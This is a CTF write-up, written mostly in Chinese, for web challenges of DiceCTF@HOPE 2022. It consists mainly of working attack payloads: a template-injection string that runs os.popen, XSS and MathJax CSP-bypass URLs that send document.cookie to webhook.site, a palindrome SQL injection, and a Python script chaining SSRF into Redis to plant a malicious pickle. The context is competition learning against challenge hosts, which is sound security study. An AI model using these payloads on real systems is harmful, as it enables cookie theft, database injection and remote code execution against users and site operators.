Spec

DiceCTF@HOPE-WriteUps


2022-07-25

secure-page

set cookie admin=true

reverser

只需要reverse一下payload就好啦

payload:{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

flag-viewer

post /flag with user=admin

pastebin

1
https://pastebin.mc.ax/flash?message=</div><img src=1 onerror=navigator.sendBeacon(`https://webhook.site/42835022-42ff-42a3-873c-1df627e672bc`,document.cookie)>

另一種做法也蠻簡單的,新建檔案,填入如下内容

1
2
3
4
5
<script
>
alert('s')
</script
>

point

post / with Whatpoint=that_point

利用了Go對於json大小寫的處理

oeps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@server.post('/submit')
async def submit(request):
token = request.cookies.get('token', '')
logged_in = (
all(c in ALLOWED_CHARACTERS for c in token) and
len(connection.execute('''
select * from users where token = '%s';
''' % token).fetchall()) == 1
)

if not logged_in:
return (302, '/?error=Authentication error.')

data = await request.post()
submission = data.get('submission', '')
if submission == '':
return (302, '/?error=Submission cannot be empty.')

stripped = submission.replace(' ', '')
if stripped != stripped[::-1]:
return (302, '/?error=Submission must be a palindrome.')

connection.execute('''
insert into pending (user, sentence) values ('%s', '%s');
''' % (
token,
submission
))

想辦法構造回文字串的就可以注入了

submission='||(SELECT flag FROM flags))--))sgalf MORF galf TCELES(||'

inspect-me

從disord上看到的一個問答

Q: how does the backend detect the view-source: url?

A: so it waits for the background image request before sending the rest of the response? quite clever

https://chrome.google.com/webstore/detail/allow-right-click/hompjdfbfmmmgflfjdlnkohcplmboaeo這個蠻好用的

mk

https://unsafe.hen.ne.ke/labs/mathjax-csp/

payload:

1
https://mk.mc.ax/render?content=%3Ciframe%20srcdoc%3D%27%3Cscript%20type%3D%22text%2fjavascript%22%20src%3D%22%2fMathJax%2fMathJax.js%3Fconfig%3DTeX-MML-AM_CHTML%22%3E%3C%2fscript%3E%3Cscript%20type%3D%22text%2fx-mathjax-config%22%3E%20%20window.parent.document.location%3D%22https%3A%2f%2fwebhook.site%2f287ff1e8-1842-4e1b-b04c-87c138f31d85%3F%22%2bdocument.cookie%3C%2fscript%3E%27%3E%3C%2fiframe%3E

使用iframe srcdoc是爲了解決在index.html裏面output.innerHTML = res這裏的觸發

當然可以這樣

1
https://mk.mc.ax/render?content=%3Cscript%20type%3D%22text%2fx-mathjax-config%22%3Ealert%281%29%3C%2fscript%3E%20%3Cscript%20type%3D%22text%2fjavascript%22%20async%20src%3D%22%2fMathJax%2fMathJax.js%3Fconfig%3DTeX-AMS_CHTML%22%3E%3C%2fscript%3E

your-space(復現)

有一个直接的ssrf在creat space的时候会触发

本地的起个服务看了看redis的内容,发现好像没有session相关的用户态数据存在(登录处理)。问题就变成了他会缓存那些信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@cache.memoize(timeout=60)
def num_subscriptions(space_id):
return len(Subscription.query.filter_by(space_id=space_id).all())


@space.route("/space/<space_id>")
def view(space_id):
space = Space.query.get(space_id)
if space is None:
return abort(404)
subscribed = None
if current_user.is_authenticated:
subscribed = get_subscription(current_user, space) is not None
subs = num_subscriptions(space.id)
return render_template("space.html", subscribed=subscribed, subs=subs, space=space)

字面意思会缓存num_subscriptions这个函数,访问/space/<space_id>60秒内可以在redis里面查看下缓存,并用 pickletools.dis查看下序列化的内容。正常功能的情况下,redis会出现如下内容

1
2
3
4
flask_cache_app.routes.space.num_subscriptions_memver => !\x80\x05\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06xxxxx\x94.

flask_cache_xk28vUr8TTGcOgNTxxxxx =>
!\x80\x05K\x01.

pickletools.dis打印下值

1
2
3
4
5
6
7
8
9
10
11
>>> pickletools.dis(b"\x80\x05K\x00.")
0: \x80 PROTO 5
2: K BININT1 0
4: . STOP
>>> pickletools.dis(b"\x80\x05\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06x3mREg\x94.")
0: \x80 PROTO 5
2: \x95 FRAME 10
11: \x8c SHORT_BINUNICODE 'x3mREg'
19: \x94 MEMOIZE (as 0)
20: . STOP
highest protocol among opcodes = 4

通过redis的内容以及合理的猜测(实际上是太菜了,懒得看源码)

flask_cache_app.routes.space.num_subscriptions_memver里面会出现一个xxxx的后缀,这个应该与flask_cache_xk28vUr8TTGcOgNTxxxxx有关,而flask_cache_xk28vUr8TTGcOgNTxxxxx应该就是订阅的数量(可能这个键的值就是上面哪个函数的返回值?),这个例子里面是0

所以将flask_cache_app.routes.space.num_subscriptions_memver值里面的x3mREg改成任意一个xxxxx,接着再设置一个flask_cache_xk28vUr8TTGcOgNTxxxxx!capp\nflag\n.就好了。后面渲染的过程会去获取这个订阅的数量,也就是from app import flag

还有个细节就是flask_cache_app.routes.space.num_subscriptions_memver要设置成下面脚本的内容,不然会被覆盖。具体原理要看源码吧,我就没看了

贴一个别人的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import pickle
import requests
import secrets

base = "http://127.0.0.1:8000"
# base = 'https://web-your-space-a735d6e0460cc29c.mc.ax'

session = requests.Session()
session.post(base+"/register", data={"username": "meow", "password": "meow"})
session.post(base+"/login", data={"username": "meow", "password": "meow"})
session.post(base+"/create", data={"name": "meow"})
session.get(base+"/space/1/sub")

# 1
pkl = r'"!V\n."' # empty string
webhook = "dict://redis:6379/SET:flask_cache_app.routes.space.num_subscriptions_memver:" + pkl
print(webhook, len(webhook))
session.post(base+"/profile", data={"webhook": webhook}).text
session.post(base+"/space/1/post", data={"content": secrets.token_hex(8)})
session.get(base+"/space/1") # trigger ssrf

# 2
pkl2 = r'"!capp\nflag\n."' # from app import flag
webhook = "dict://redis:6379/SET:flask_cache_xk28vUr8TTGcOgNT:" + pkl2
print(webhook, len(webhook))
session.post(base+"/profile", data={"webhook": webhook}).text
session.post(base+"/space/1/post", data={"content": secrets.token_hex(8)})
session.get(base+"/space/1").text # trigger ssrf
print(session.get(base+"/space/1").text)

payment-pal(复现)

这个题太难了,看官方wp吧

https://brycec.me/posts/dicectf_at_hope_2022_writeups